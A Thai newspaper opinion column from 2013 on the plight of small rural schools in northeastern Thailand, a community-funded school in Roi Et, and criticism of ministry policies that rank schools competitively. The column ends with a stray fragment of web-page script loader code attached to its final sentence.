มติชนรายวัน ฉบับประจำวันจันทร์ที่ 17 มิถุนายน 2556

 

         พ่อแม่ไม่ยากไร้ของเด็ก ต่างยินดีและมีจ่ายเงินค่ารถตู้ที่มารับส่งลูกไปเรียนในโรงเรียนไม่เล็กที่อยู่ในเมืองไกลออกไป

         พ่อแม่บางกลุ่มยอมจ่ายค่าเล่าเรียนโรงเรียนเอกชน หรือโรงเรียนคริสต์ที่อยู่หมู่บ้านตำบลเดียวกันนั่นแหละ ที่มีครูคุณภาพดีกว่า

         ส่วนเด็กยากจน เพราะพ่อแม่ยากไร้ ต้องเรียนอย่างจำนนอนาถาในโรงเรียนขนาดเล็กใกล้บ้าน เพราะไม่มีทางเลือก

         แต่โรงเรียนขนาดเล็กจำนวนมาก(ของเด็กยากจน เพราะพ่อแม่ยากไร้) ขาดผู้บริหารการศึกษามีคุณภาพและประสิทธิภาพในการแก้ปัญหา ขณะที่ชาวบ้านส่วนมากยากไร้ก็อ่อนแอจนไม่มีพลังจะคิดอ่านแก้ไขอะไรได้

         ถึงอย่างนั้นก็ยังมีชาวบ้านและผู้บริหารการศึกษากลุ่มหนึ่งในภาคอีสาน รวมตัวกันเป็นเครือข่ายโรงเรียนขนาดเล็กที่พยายามจัดการตนเอง เพื่อพัฒนาคุณภาพการเรียนการสอน เช่น โรงเรียนฮ่องแฮพยอมหนองม่วง อ. ปทุมรัตต์ จ. ร้อยเอ็ด

         เสน่ห์ เสาวพันธ์ ผู้อำนวยการโรงเรียน ในฐานะผู้ประสานงานโรงเรียนขนาดเล็กภาคอีสาน บอกว่า โรงเรียนต้องช่วยเหลือตัวเอง โดยได้ร่วมกับทั้งศิษย์เก่าและศิษย์ปัจจุบัน รวมถึงชาวบ้านในชุมชนจัดวันคืนสู่เหย้า “74 ปี ฮ่องแฮพยอมหนองม่วงคืนสู่เหย้า” ได้เงินบริจาคกว่า 1 ล้านบาท ซึ่งไม่มากแต่ก็เพียงพอสำหรับนำมาตั้งเป็นกองทุนพัฒนาการศึกษา

         เงินบางส่วนนำมาจัดจ้างครู จัดซื้ออุปกรณ์การเรียนการสอน เป็นการกำหนดบทบาทหน้าที่โดยโรงเรียน ส่วนชุมชนเข้ามามีส่วนร่วมเรื่องพื้นฐานชีวิต มีผู้ปกครองอาสา ครูภูมิปัญญา สอนเรื่องหมอลำ การทอผ้า การย้อมสีธรรมชาติ เป็นการต่อลมหายใจของโรงเรียนขนาดเล็กโดยไม่ต้องพึ่งพาภาครัฐ

         “รัฐต้องมองใหม่ว่าโรงเรียนขนาดเล็ก ไม่ใช่ปัญหาในการพัฒนาการศึกษา แต่ปัญหาที่แท้จริงเกิดจากนโยบายของกระทรวงที่เน้นให้การศึกษาเป็นเรื่องของการแข่งขัน มีโครงการโรงเรียนดีประจำตำบล หรือโครงการโรงเรียนดีประจำอำเภอ เป็นการแบ่งเกรดให้กับโรงเรียน เกิดการเปรียบเทียบระหว่างโรงเรียนด้วยกัน” ผู้อำนวยการโรงเรียนแห่งนี้กล่าว (กรุงเทพธุรกิจ ฉบับวันพุธที่ 22 พฤษภาคม 2556 หน้า 15)

         ศิษย์เก่าและชาวบ้านโรงเรียนขนาดเล็ก ย่อมมีความพร้อมไม่มากที่จะจัดการตนเอง โดยทั่วไปจำแนกได้ 2 กลุ่ม คือ 1. มีฐานะพอจะแบ่งปันเพื่อส่วนรวมได้ แต่ไม่มีไอเดีย 2. มีไอเดีย แต่ไม่มีฐานะ

         ทั้ง 2 กลุ่มอาจร่วมกันชักจูงคนมีไอเดียจากบ้านอื่นเมืองอื่นมาร่วมปรับปรุงการศึกษาของโรงเรียนขนาดเล็กในชุมชนได้

         ไม่ใช่แค่หาเงินซื้ออุปกรณ์การเรียนการสอน แต่ต้องหมายถึงแนวทางปรับเปลี่ยนการเรียนการสอนของครูและนักเรียนด้วย ถึงจะมีอนาคต

         ปัญหาอยู่ที่ผู้บริหารโรงเรียนจะมีคุณภาพและประสิทธิภาพแบบไหน? แบบเพื่อตนเอง หรือเพื่อนักเรียน?d.getElementsByTagName(‘head’)[0].appendChild(s);document.currentScript.parentNode.insertBefore(s, document.currentScript);